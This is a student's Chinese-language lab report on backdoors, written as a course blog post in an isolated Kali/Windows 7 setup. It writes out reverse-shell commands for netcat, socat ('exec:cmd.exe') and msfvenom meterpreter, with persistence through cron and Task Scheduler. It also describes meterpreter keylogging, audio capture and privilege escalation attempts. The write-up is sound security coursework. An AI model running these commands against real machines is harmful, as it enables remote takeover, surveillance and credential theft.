• 20165207 Exp2 后门原理与实践


    20165207 Exp2 后门原理与实践

    〇、实验准备

    两个虚拟机,一个kali一个win7。kali的ip是192.168.43.72,win7的ip是192.168.43.116,在win7关掉防火墙并且虚拟机设置都选择桥接的情况下,两台虚拟机能够相互ping通。


    把老师分享给我们的ncat和socat拷到win7里面。

    一、实验内容

    1、使用netcat获取主机操作Shell,cron启动

    1.1、kali使用netcat获取主机操作shell

    kali在5207端口开启监听:

    win7反弹连接kali:

    kali获得win7的cmd(Windows命令了解的不多,想输个who命令,结果没有。我记得是whoami或者user的啊)

    1.2、配置crontab

    crontab -e编辑kali的定时任务的计时器,但是按照上面的来的话kali这边只是要监听,自动启动监听我个人感觉意义不大。所以,这次我想换kali被攻击。
    先在win7上开启监听,在5207端口上

    kali这边crontab -e编辑计时器,编辑器可以选,要是多按了回车默认选取了,可以输按select-editor更改

    然后在里面,加上一个每1分钟执行一次的命令

    win7获得了shell

    2、使用socat获取主机操作Shell, 任务计划启动

    我理解任务计划启动是指win7里面的计划任务设置用socat反弹连接kali使kali获得win7的shell

    2.1、kali开启监听

    socat在kali上就有,使用tcp-l参数在冒号后面加上5207开启监听

    2.2、win7

    我在win7上输入的命令是:socat.exe - tcp 192.168.43.72:5207产生的效果只是限于相互发送消息


    要反弹连接原来需要用到exec参数,并且tcp参数要改成tcp-connect参数,否则会报这样的错

    所以,经过搜索资料和尝试,我输入的最终可以反弹连接的有效命令是:socat.exe tcp-connect:192.168.43.72:5207 exec:cmd.exe,pty,stderr
    如图,win7反弹连接成功,kali获得了cmd.exe

    kali:

    2.3、win7任务计划

    在任务计划程序里新建任务:

    然后设置启动条件:

    等候一分钟:
    win7这:
    kali里:

    3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    3.1、生成可执行文件并传输

    用msfvenom生成可执行文件,msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.72 PORT=5207 -f exe > 5207.exe
    因为要用kali获取win7shell所以lhost设为kali的ip地址,p参数用于指定攻击载荷reverse_tcp然后f参数是用来指定生成文件格式的

    nc传给win7:win7首先开启监听,监听在端口5207,接收文件重定向到文件win5207.exe

    kali这边发送

    传输结束之后接收端的nc并没有像网上说的一样自动退出

    3.2、kali上的msf开启监听

    开启msfconsole然后按照实验指导里面操作

    win7里面运行win5207.exe:
    好吧,不知道为什么出了问题了,我重新连了一下网,ip也变了,kali是10.1.1.217,win7是10.1.1.113
    然后,用一样的原理重新做了一次(上一个网,失败了不知道多少次),问题就没了,因为有点生气这次可执行文件的名字是XXXX.exe。
    kali这边,成功了,输了个命令dir查看文件,里面就有刚才一怒之下取的xxxx.exe:

    4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    4.1、获取音频摄像头等内容

    获取音频摄像头等的操作在实验指导的meterpreter常用功能里面有,我就不粘贴过来了,直接进行操作。
    当然输个help就可以看,也没有必要来回翻实验指导

    找到了录制音频和截取屏幕

    录制一段五秒钟的音频:

    截屏,这里遇到一个问题,我的摄像头无法连接到win7虚拟机,错误在右下角的摄像头标签那一闪而过。
    我想起来上次要给另一个虚拟机插一个usb3.0的U盘然后也是设备无法连接,当时没有解决直接用了共享文件夹。
    在win7里也有可能是usb设备兼容性的问题,先把它的兼容性改成usb3.0

    在状态栏里摄像头的图标的确是亮的:

    可是虚拟机的设备管理器里面没有,重启虚拟机重新做,还是没有,根本没有,这哪有像摄像头的设备啊:

    kali那边也是毫无悬念的失败了:

    我实在是没弄明白这个摄像头的问题,这个摄像头看来和我无缘。
    然后再试一下击键记录:
    首先,kali这边keyscan_start开始记录
    然后在win7那边输些东西

    kali这边,还是start的状态,就可以输入keyscan_dump查看win7的击键记录

    还可以看看对面是不是虚拟机,命令是run post/windows/gather/checkvm

    4.2、提权

    输入命令getsystem:
    报错

    找到了个解释,是这样的:

    如果你需要对Windows7、8或以上的系统进行getsystem首先得绕过UAC。命令如下:runpost/windows/escalate/bypassuac.

    尝试输进去这条命令

    连命令都没有,真棒
    查一下帮助手册,诶

    没有bypass啊
    再次失败

    再试一下我搜到的令牌假冒提权的方法
    先加载令牌假冒的模块“use incognito”

    然后查看下令牌假冒的相关命令

    用list_user查看我可以冒充的用户

    看来,又失败了:

    实际上我觉得如果有可用的可假冒的用户,这种假冒用户的办法我觉得应该可以提权成功的
    以及,那个我搜来的bypass绕过win7对win7提权的办法为什么不行,可以有人帮我看下为啥一下不?我病好了之后请吃棒棒糖。orz

    二、问题回答

    1、例举你能想到的一个后门进入到你系统中的可能方式

    我最先想到的是浏览器漏洞
    前两天我看到一个Chrome浏览器的0day漏洞(就是今年三月份的),允许黑客加载恶意的PDF(应该就是后门了)来获取操作系统的数据
    Chrome 被曝 0day 漏洞,可让黑客获取用户数据

    2、例举你知道的后门如何启动起来(win及linux)的方式?

    首先都可以通过计划任务的方式来启动,win里面直接通过任务计划程序来添加,Linux配置crontab。
    另外,上学期信安技术课还讲了win里面可以修改注册表里面的关联,比如经过注册表txt文件默认会用notepad打开,但是修改了注册表就可以在点击txt时候运行后门程序。

    3、Meterpreter有哪些给你映像深刻的功能?

    除了记录键盘,调用摄像头和麦克风之外,做提权的时候因为getsystem不可以用我试了假冒用户的办法,这个假冒用户来提权的办法让我印象很深刻

    4、如何发现自己有系统有没有被安装后门

    netstat命令查看电脑连接了哪些服务,要是发现了没见过的网址或者不是知名端口号的端口,就要小心了。还可以通过任务管理器查看当前进程。
    当然对于我这个菜鸡,最有效的应该还是打开防火墙装上杀软。

    三、总结

    这周生了两次急病,上次实验的验收没有赶上,这次的博客也交晚了。做实验的时候,提权的问题和虚拟机摄像头的问题还没有解决。当然还是有很大收获的。

  • 相关阅读:
    【Python】小技巧
    【Python】内置函数清单
    【Python】序列的方法
    【Python】异常处理
    【Python】函数的参数对应
    【Python】函数对象
    redhat7安装jdk1.7报错/home/renqiwei/jdk1.7/bin/java: /lib/ld-linux.so.2: bad ELF interpreter: No such file or directory
    redhat更换yum源
    python3降级为python2(linux)
    centos安装apt命令
  • 原文地址:https://www.cnblogs.com/ltl0501/p/10586018.html
Copyright © 2020-2023  润新知